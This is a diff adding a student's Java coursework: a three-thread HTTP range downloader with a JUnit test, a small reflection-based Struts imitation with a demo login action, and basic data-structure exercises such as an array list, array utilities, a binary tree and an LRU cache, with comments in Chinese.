+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		Connection conn = null;
+		try {
+			
+			conn = cm.open(this.url);
+			
+			int length = conn.getContentLength();
+			
+			int size = length / 3;
+			int remain = length - size;
+			
+			for(int i=0;i<3;i++){
+				conn = cm.open(this.url);
+				int startPos = i*size;
+				int endPos = (i+1) * size - 1;
+				if(i == 2){
+					endPos = (i+1) * size - 1 + remain;
+				}
+				threads[i] = new DownloadThread(conn,startPos,endPos);
+				threads[i].start();
+			}
+
+			new Thread(new Runnable(){
+				public void run(){
+					boolean finish;
+					do{
+						finish = true;
+						for(int i=0;i<threads.length;i++){
+//							System.out.println("线程" + i + "状态:" + threads[i].getState());
+							if(!"TERMINATED".equals(threads[i].getState().toString())){
+								finish = false;
+								continue;
+							}
+						}
+					}while(!finish);
+					getListener().notifyFinished();
+				}
+			}).start();;
+			
+		} catch (ConnectionException e) {			
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}
+		
+		
+		
+		
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/FileDownloaderTest.java b/group23/1028361767/data-structure/src/com/coderising/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..128a302664
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/download/FileDownloaderTest.java
@@ -0,0 +1,59 @@
+package com.coderising.download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "http://pic6.huitu.com/res/20130116/84481_20130116142820494200_1.jpg";
+		
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/api/Connection.java b/group23/1028361767/data-structure/src/com/coderising/download/api/Connection.java
new file mode 100644
index 0000000000..15534af093
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/download/api/Connection.java
@@ -0,0 +1,26 @@
+package com.coderising.download.api;
+
+import java.io.IOException;
+import java.net.HttpURLConnection;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+	
+	public void setConnection(HttpURLConnection conn);
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionException.java b/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionException.java
new file mode 100644
index 0000000000..112d1156e8
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionException.java
@@ -0,0 +1,8 @@
+package com.coderising.download.api;
+
+public class ConnectionException extends Exception {
+	
+	public ConnectionException(Exception e){
+		super(e);
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionManager.java b/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..ce045393b1
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.coderising.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/api/DownloadListener.java b/group23/1028361767/data-structure/src/com/coderising/download/api/DownloadListener.java
new file mode 100644
index 0000000000..bf9807b307
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionImpl.java b/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..e7a8b1ef1e
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionImpl.java
@@ -0,0 +1,62 @@
+package com.coderising.download.impl;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.HttpURLConnection;
+
+import com.coderising.download.api.Connection;
+
+public class ConnectionImpl implements Connection{
+	
+	private HttpURLConnection conn;
+	
+	private InputStream inputStream;
+	
+	private ByteArrayOutputStream outputStream;
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		byte[] bytes = new byte[1024];
+		conn.setRequestProperty("Range", "bytes=" + startPos + "-" + endPos);
+		inputStream = conn.getInputStream();
+		outputStream = new ByteArrayOutputStream();
+		int n = 0;
+		while((n = inputStream.read(bytes)) != -1){
+			outputStream.write(bytes, 0, n);
+		}
+		return outputStream.toByteArray();
+	}
+
+	@Override
+	public int getContentLength() {
+		return conn.getContentLength();
+	}
+
+	@Override
+	public void close() {
+		conn.disconnect();
+		if(inputStream != null){
+			try {
+				inputStream.close();
+			} catch (IOException e) {
+				e.printStackTrace();
+			}
+		}
+		if(outputStream != null){
+			try {
+				outputStream.close();
+			} catch (IOException e) {
+				e.printStackTrace();
+			}
+		}
+	}
+
+	public HttpURLConnection getConnection() {
+		return conn;
+	}
+
+	public void setConnection(HttpURLConnection conn) {
+		this.conn = conn;
+	}
+
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..9d9c2af144
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,26 @@
+package com.coderising.download.impl;
+
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.URL;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		Connection connection = new ConnectionImpl();
+		try {
+			URL u = new URL(url);
+			HttpURLConnection conn = (HttpURLConnection)u.openConnection();
+			connection.setConnection(conn);
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+		return connection;
+	}
+
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/litestruts/LoginAction.java b/group23/1028361767/data-structure/src/com/coderising/litestruts/LoginAction.java
new file mode 100644
index 0000000000..dcdbe226ed
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/litestruts/LoginAction.java
@@ -0,0 +1,39 @@
+package com.coderising.litestruts;
+
+/**
+ * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
+ * @author liuxin
+ *
+ */
+public class LoginAction{
+    private String name ;
+    private String password;
+    private String message;
+
+    public String getName() {
+        return name;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String execute(){
+            if("test".equals(name) && "1234".equals(password)){
+                this.message = "login successful";
+                return "success";
+            }
+            this.message = "login failed,please check your user/pwd";
+            return "fail";
+    }
+
+    public void setName(String name){
+        this.name = name;
+    }
+    public void setPassword(String password){
+        this.password = password;
+    }
+    public String getMessage(){
+        return this.message;
+    }
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/litestruts/Struts.java b/group23/1028361767/data-structure/src/com/coderising/litestruts/Struts.java
new file mode 100644
index 0000000000..7757668834
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/litestruts/Struts.java
@@ -0,0 +1,181 @@
+package com.coderising.litestruts;
+
+import java.io.File;
+import java.lang.reflect.Method;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Map;
+
+import org.dom4j.Document;
+import org.dom4j.DocumentException;
+import org.dom4j.Element;
+import org.dom4j.io.SAXReader;
+
+public class Struts {
+	
+	private final static Map<String, Action> actions = new HashMap<String, Action>();
+	
+    @SuppressWarnings("rawtypes")
+	public static View runAction(String actionName, Map<String,String> parameters) throws Exception {
+
+        /*
+         
+		0. 读取配置文件struts.xml
+ 		
+ 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
+		("name"="test" ,  "password"="1234") ,     	
+		那就应该调用 setName和setPassword方法
+		
+		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+		
+		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
+		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
+		放到View对象的parameters
+		
+		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
+		放到View对象的jsp字段中。
+        
+        */
+    	//读取xml，把xml信息放到actions
+    	readStrutsXML();
+    	
+    	Action action = actions.get(actionName);
+    	View view = new View();
+    	if(action != null){
+			Class clazz = Class.forName(action.getClassName());
+    		Object obj = clazz.newInstance();
+    		
+    		//根据parameters调用set方法
+    		initClass(clazz, obj, action, parameters);
+    		
+    		//调用execute方法
+    		String result = execute(clazz, obj);
+    		//调用所有get方法
+    		Map resultParameters = getResultParameters(clazz, obj);
+    		
+    		view.setJsp(action.getResults().get(result));
+    		view.setParameters(resultParameters);
+    	}
+    
+    	return view;
+    }
+
+	@SuppressWarnings("rawtypes")
+	private static Map getResultParameters(Class clazz, Object obj) throws Exception {
+		Map<String, String> resultParameters = new HashMap<String, String>();
+		Method[] methods = clazz.getMethods();
+		String methodName;
+		String propName;
+		String propValue;
+		for(Method method : methods){
+			methodName = method.getName();
+			if(methodName.startsWith("get") && !"getClass".equals(methodName)){
+				propName = firstLetterLowerCase(methodName.substring(3, methodName.length()));
+				propValue = (String) method.invoke(obj);
+				resultParameters.put(propName, propValue);
+			}
+		}
+		return resultParameters;
+	}
+
+	@SuppressWarnings({ "unchecked", "rawtypes" })
+	private static String execute(Class clazz, Object obj) throws Exception{
+		Method method = clazz.getMethod("execute");
+		return (String)method.invoke(obj);
+	}
+
+	@SuppressWarnings({ "unchecked", "rawtypes" })
+	private static void initClass(Class clazz, Object obj, Action action, Map<String, String> parameters) throws Exception {
+		String setMethodName;
+		Method method = null;
+		for (String parameter : parameters.keySet()) {
+			setMethodName = "set" + firstLetterUpperCase(parameter);
+			method = clazz.getMethod(setMethodName, String.class);
+			method.invoke(obj, parameters.get(parameter));
+		}
+	}
+	
+	private static String firstLetterLowerCase(String string){
+		char[] cs = string.toCharArray();
+		cs[0] += 32;
+		return String.valueOf(cs);
+	}
+	
+	private static String firstLetterUpperCase(String string){
+		char[] cs = string.toCharArray();
+		cs[0] -= 32;
+		return String.valueOf(cs);
+	}
+
+	@SuppressWarnings("unchecked")
+	private static void readStrutsXML() {
+		SAXReader saxReader = new SAXReader();
+		Document document;
+		try {
+			document = saxReader.read(new File("src/com/coderising/litestruts/struts.xml"));
+		} catch (DocumentException e) {
+			System.out.println("error:file not found");
+			return ;
+		}
+		Element root = document.getRootElement();
+		Iterator<Element> actionItr = root.elementIterator();
+		Element action;
+		Action act;
+		Iterator<Element> resultItr;
+		Element result;
+		Map<String, String> results;
+		while(actionItr.hasNext()){
+			action = actionItr.next();
+			
+			resultItr = action.elementIterator();
+			results = new HashMap<String, String>();
+			while(resultItr.hasNext()){
+				result = resultItr.next();
+				results.put(result.attributeValue("name"), result.getStringValue());
+			}
+			
+			act = new Action();
+			act.setName(action.attributeValue("name"));
+			act.setClassName(action.attributeValue("class"));
+			act.setResults(results);
+			
+			actions.put(act.getName(), act);
+		}
+	}    
+	
+	static class Action {
+		
+		private String name;
+		
+		private String className;
+		
+		private Map<String, String> results = new HashMap<>();
+		
+		public Map<String, String> getResults() {
+			return results;
+		}
+
+		public void setResults(Map<String, String> results) {
+			this.results = results;
+		}
+
+		public String getName() {
+			return name;
+		}
+
+		public void setName(String name) {
+			this.name = name;
+		}
+
+		public String getClassName() {
+			return className;
+		}
+
+		public void setClassName(String className) {
+			this.className = className;
+		}
+
+	}
+
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/litestruts/StrutsTest.java b/group23/1028361767/data-structure/src/com/coderising/litestruts/StrutsTest.java
new file mode 100644
index 0000000000..92a6758a69
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/litestruts/StrutsTest.java
@@ -0,0 +1,43 @@
+package com.coderising.litestruts;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() throws Exception {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() throws Exception {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一致
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/litestruts/View.java b/group23/1028361767/data-structure/src/com/coderising/litestruts/View.java
new file mode 100644
index 0000000000..07df2a5dab
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/litestruts/View.java
@@ -0,0 +1,23 @@
+package com.coderising.litestruts;
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map parameters;
+	
+	public String getJsp() {
+		return jsp;
+	}
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+	public Map getParameters() {
+		return parameters;
+	}
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/BinaryTreeNode.java b/group23/1028361767/data-structure/src/com/coding/basic/BinaryTreeNode.java
new file mode 100644
index 0000000000..dced34e873
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/BinaryTreeNode.java
@@ -0,0 +1,97 @@
+package com.coding.basic;
+
+public class BinaryTreeNode {
+
+    private Object data;
+    private BinaryTreeNode left;
+    private BinaryTreeNode right;
+    private BinaryTreeNode parent;
+
+    public BinaryTreeNode(Object data) {
+        this.data = data;
+    }
+
+    public Object getData() {
+        return data;
+    }
+
+    public void setData(Object data) {
+        this.data = data;
+    }
+
+    public BinaryTreeNode getLeft() {
+        return left;
+    }
+
+    public void setLeft(BinaryTreeNode left) {
+        this.left = left;
+    }
+
+    public BinaryTreeNode getRight() {
+        return right;
+    }
+
+    public void setRight(BinaryTreeNode right) {
+        this.right = right;
+    }
+
+    public void setParent(BinaryTreeNode parent) {
+        this.parent = parent;
+    }
+
+    public BinaryTreeNode getParent() {
+        return parent;
+    }
+
+    public BinaryTreeNode insert(Object o) {
+        BinaryTreeNode newNode = new BinaryTreeNode(o);
+        BinaryTreeNode root = findRoot(this);
+        if (root.data == null) {
+            root.data = newNode;
+        } else {
+            int newVal = getNodeIntVal(newNode);
+            insert(root, newNode, newVal);
+        }
+        return newNode;
+    }
+
+    private void insert(BinaryTreeNode node, BinaryTreeNode newNode, int newVal) {
+        int nodeVal = getNodeIntVal(node);
+        if (newVal < nodeVal) {
+            if (node.left == null) {
+                newNode.parent = node;
+                node.left = newNode;
+            } else {
+                insert(node.left, newNode, newVal);
+            }
+        } else {
+            if (node.right == null) {
+                newNode.parent = node;
+                node.right = newNode;
+            } else {
+                insert(node.right, newNode, newVal);
+            }
+        }
+    }
+
+    private BinaryTreeNode findRoot(BinaryTreeNode binaryTreeNode) {
+        while (binaryTreeNode.parent != null) {
+            binaryTreeNode = binaryTreeNode.parent;
+        }
+        return binaryTreeNode;
+    }
+
+    private int getNodeIntVal(BinaryTreeNode node) {
+        if (node.data instanceof Integer) {
+            return ((Integer) node.data).intValue();
+        }
+        return 0;
+    }
+
+    public int getDataIntVal() {
+        if (data instanceof Integer) {
+            return ((Integer) data).intValue();
+        }
+        return 0;
+    }
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/Iterator.java b/group23/1028361767/data-structure/src/com/coding/basic/Iterator.java
new file mode 100644
index 0000000000..96adcd6d3a
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/Iterator.java
@@ -0,0 +1,8 @@
+package com.coding.basic;
+
+public interface Iterator {
+    public boolean hasNext();
+
+    public Object next();
+
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/List.java b/group23/1028361767/data-structure/src/com/coding/basic/List.java
new file mode 100644
index 0000000000..01398944e6
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/List.java
@@ -0,0 +1,13 @@
+package com.coding.basic;
+
+public interface List {
+    public void add(Object o);
+
+    public void add(int index, Object o);
+
+    public Object get(int index);
+
+    public Object remove(int index);
+
+    public int size();
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/Queue.java b/group23/1028361767/data-structure/src/com/coding/basic/Queue.java
new file mode 100644
index 0000000000..ddd1b74d90
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/Queue.java
@@ -0,0 +1,24 @@
+package com.coding.basic;
+
+import com.coding.basic.linklist.LinkedList;
+
+public class Queue {
+
+    private LinkedList linkedList = new LinkedList();
+
+    public void enQueue(Object o) {
+        linkedList.add(o);
+    }
+
+    public Object deQueue() {
+        return linkedList.removeFirst();
+    }
+
+    public boolean isEmpty() {
+        return linkedList.size() == 0;
+    }
+
+    public int size() {
+        return linkedList.size();
+    }
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayList.java b/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayList.java
new file mode 100644
index 0000000000..43bdae82fa
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayList.java
@@ -0,0 +1,83 @@
+package com.coding.basic.array;
+
+import java.util.Arrays;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
+
+public class ArrayList implements List {
+
+    private int size = 0;
+
+    private int HALF_MAX_VALUE = Integer.MAX_VALUE;
+
+    private Object[] elementData = new Object[100];
+
+    public void add(Object o) {
+        if (noSpace()) {
+            elementData = grow();
+        }
+        elementData[size++] = o;
+    }
+
+    public void add(int index, Object o) {
+        if (index < 0) {
+            throw new IllegalArgumentException("index must be positive integer");
+        }
+        if (index > size) {
+            throw new IndexOutOfBoundsException("size is" + size);
+        }
+        if (noSpace()) {
+            elementData = grow();
+        }
+        System.arraycopy(elementData, index, elementData, index + 1, size - index);
+        elementData[size++] = o;
+    }
+
+    public Object get(int index) {
+        if (index < 0) {
+            throw new IllegalArgumentException("index must be positive integer");
+        }
+        if (index > (size - 1)) {
+            throw new IndexOutOfBoundsException("size is" + size);
+        }
+        return elementData[index];
+    }
+
+    public Object remove(int index) {
+        if (index < 0) {
+            throw new IllegalArgumentException("index must be positive integer");
+        }
+        if (index > (size - 1)) {
+            throw new IndexOutOfBoundsException("size is" + size);
+        }
+        Object obj = elementData[index];
+        System.arraycopy(elementData, index + 1, elementData, index, size - index);
+        elementData[size-1] = null;
+        size--;
+        return obj;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    public Iterator iterator() {
+        return null;
+    }
+
+    private boolean noSpace() {
+        return size == elementData.length;
+    }
+
+    private Object[] grow() {
+        int newSize;
+        if (size < HALF_MAX_VALUE) {
+            newSize = size * 2;
+        } else {
+            newSize = Integer.MAX_VALUE;
+        }
+        return Arrays.copyOf(elementData, newSize);
+    }
+
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayUtil.java b/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayUtil.java
new file mode 100644
index 0000000000..8e1b170dc0
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayUtil.java
@@ -0,0 +1,210 @@
+package com.coding.basic.array;
+
+import java.util.Arrays;
+
+public class ArrayUtil {
+	
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换
+		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
+		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * @param origin
+	 * @return
+	 */
+	public int[] reverseArray(int[] origin){
+		int len = origin.length;
+		int[] ret = new int[len];
+		for(int i=0;i<len;i++){
+			ret[i] = origin[len-i-1];
+		}
+		origin = null;
+		return ret;
+	}
+	
+	/**
+	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
+	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
+	 * @param oldArray
+	 * @return
+	 */
+	
+	public int[] removeZero(int[] oldArray){
+		int[] ret = new int[oldArray.length];
+		int zeroNum = 0;
+		int tmp;
+		int retIndex = 0;
+		for(int i=0;i<oldArray.length;i++){
+			tmp = oldArray[i];
+			if(tmp == 0){
+				zeroNum++;
+			}else{
+				ret[retIndex++] = tmp;
+			}
+		}
+		if(zeroNum == 0){
+			return oldArray;
+		}else{
+			return Arrays.copyOf(ret, retIndex);
+		}
+	}
+	
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
+	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+	public int[] merge(int[] array1, int[] array2){
+		int[] ret = new int[array1.length + array2.length];
+		int i1 = 0, i2 = 0;
+		int val1, val2;
+		int sameNum = 0;
+		int len1 = array1.length-1, len2 = array2.length -1;
+		for(int i=0;i<ret.length;){
+			if(i1 <= len1 && i2 <= len2){
+				val1 = array1[i1];
+				val2 = array2[i2];
+				if(val1 < val2){
+					ret[i++] = val1;
+					i1++;
+				}else if(val1 == val2){
+					sameNum++;
+					i2++;
+				}else{
+					ret[i++] = val2;
+					i2++;
+				}
+			}else{
+				if(i1 > len1 && i2 > len2){
+					break;
+				}else if(i1 > len1){
+					ret[i++] = array2[i2++];
+				}else{
+					ret[i++] = array1[i1++];
+				}
+			}
+				
+		}
+		if(sameNum > 0){
+			ret = Arrays.copyOf(ret, ret.length - sameNum);
+		}
+		return ret;
+	}
+	
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持
+	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int [] oldArray,  int size){
+		return Arrays.copyOf(oldArray, oldArray.length + size);
+	}
+	
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
+	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
+	 * max = 1, 则返回空数组 []
+	 * @param max
+	 * @return
+	 */
+	public int[] fibonacci(int max){
+		if(max == 1){
+			return new int[0];
+		}else{
+			int[] tmp = new int[max + 1];
+			int x1 = 1, x2 = 1;
+			int i = 1, j = 0;
+			tmp[j++] = x1;
+			tmp[j++] = x2;
+			while(true){
+				i = x1 + x2;
+				if(i > max){
+					break;
+				}
+				x1 = x2;
+				x2 = i;
+				tmp[j++] = i;
+			}
+			return Arrays.copyOf(tmp, j);
+		}
+	}
+	
+	/**
+	 * 返回小于给定最大值max的所有素数数组
+	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * @param max
+	 * @return
+	 */
+	public int[] getPrimes(int max){
+		int[] tmp = new int[max/2 + 1];
+		boolean isPrime;
+		int k = 0;
+		for(int i=2;i<max;i++){
+			isPrime = true;
+			for(int j=2;j<i;j++){
+				if(i % j == 0 && i != j){
+					isPrime = false;
+					break;
+				}
+			}
+			if(isPrime){
+				tmp[k++] = i;
+			}
+		}
+		return Arrays.copyOf(tmp, k);
+	}
+	
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
+	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max){
+		if(max < 3){
+			return new int[0];
+		}
+		int[] tmp = new int[max/6];
+		int[] factors;
+		int i = 0, l, sum;
+		for(int j=2;j<max;j++){
+			l = 0;sum = 1;
+			factors = new int[j];
+			for(int k=2;k<j;k++){
+				if(j % k == 0 && j != k){
+					factors[l++] = k;
+				}
+			}
+			for(int m=0;m<l;m++){
+				sum += factors[m];
+			}
+			if(sum == j){
+				tmp[i++] = j;
+			}
+		}
+		return Arrays.copyOf(tmp, i);
+	}
+	
+	/**
+	 * 用seperator 把数组 array给连接起来
+	 * 例如array= [3,8,9], seperator = "-"
+	 * 则返回值为"3-8-9"
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public String join(int[] array, String seperator){
+		StringBuilder sb = new StringBuilder();
+		for (int i = 0; i < array.length; i++) {
+			sb.append(array[i]).append(seperator);
+		}
+		return sb.length() == 0? "" : sb.substring(0, sb.length() - 1);
+	}
+	
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrame.java b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrame.java
new file mode 100644
index 0000000000..50bfb30412
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrame.java
@@ -0,0 +1,112 @@
+package com.coding.basic.linklist;
+
+/**
+ * 用双向链表实现LRU算法
+ * @author liuxin
+ *
+ */
+public class LRUPageFrame {
+	
+	private static class Node {
+		
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node(int pageNum) {
+			this.pageNum = pageNum;
+		}
+	}
+
+	private int capacity;
+	
+	
+	private Node first;// 链表头
+	private Node last;// 链表尾
+	
+	private int size;
+
+	
+	public LRUPageFrame(int capacity) {
+		
+		this.capacity = capacity;
+		
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param key
+	 * @return
+	 */
+	public void access(int pageNum) {
+		/**
+		 * 1、链表为空，直接插入first
+		 * 2、链表未满，往链尾追加
+		 * 3、链表已满，判断链表中是否存在pageNum，若存在，把pageNum，移到链尾；若不存在，把链头删除，把pageNum追加到链尾
+		 */
+		Node newNode = new Node(pageNum);
+		if(size < capacity){
+			if(size == 0){
+				first = newNode;
+			}else{
+				last.next = newNode;
+				newNode.prev = last;
+			}
+			last = newNode;
+			size++;
+			return ;
+		}
+		Node existNode = null;
+		Node tmp = first;
+		do{
+			if(tmp.pageNum == pageNum){
+				existNode = tmp;
+			}
+			tmp = tmp.next;
+		}while(tmp != null);
+		if(existNode == null || existNode == first){
+			tmp = first.next;
+			tmp.prev = null;
+			first = tmp;//链首变为链首后一个节点
+			last.next = newNode;
+			newNode.prev = last;
+			last = newNode;//链尾追加新节点
+		}else if(existNode == last){
+				return ;
+		}else{
+			/**
+			 * 已存在节点的上一个节点的下一个节点指向已存在节点的下一个节点
+			 * 
+			 */
+			Node prev = existNode.prev;
+			Node next = existNode.next;
+			prev.next = next;
+			next.prev = prev;
+			if(prev.prev == null){
+				first = prev;
+			}
+			newNode.prev = last;
+			last.next = newNode;
+			last = newNode;
+			existNode = null;
+		}
+	}
+	
+	
+
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = last;
+		while(node != null){
+			buffer.append(node.pageNum);			
+			
+			node = node.prev;
+			if(node != null){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}
+	
+}
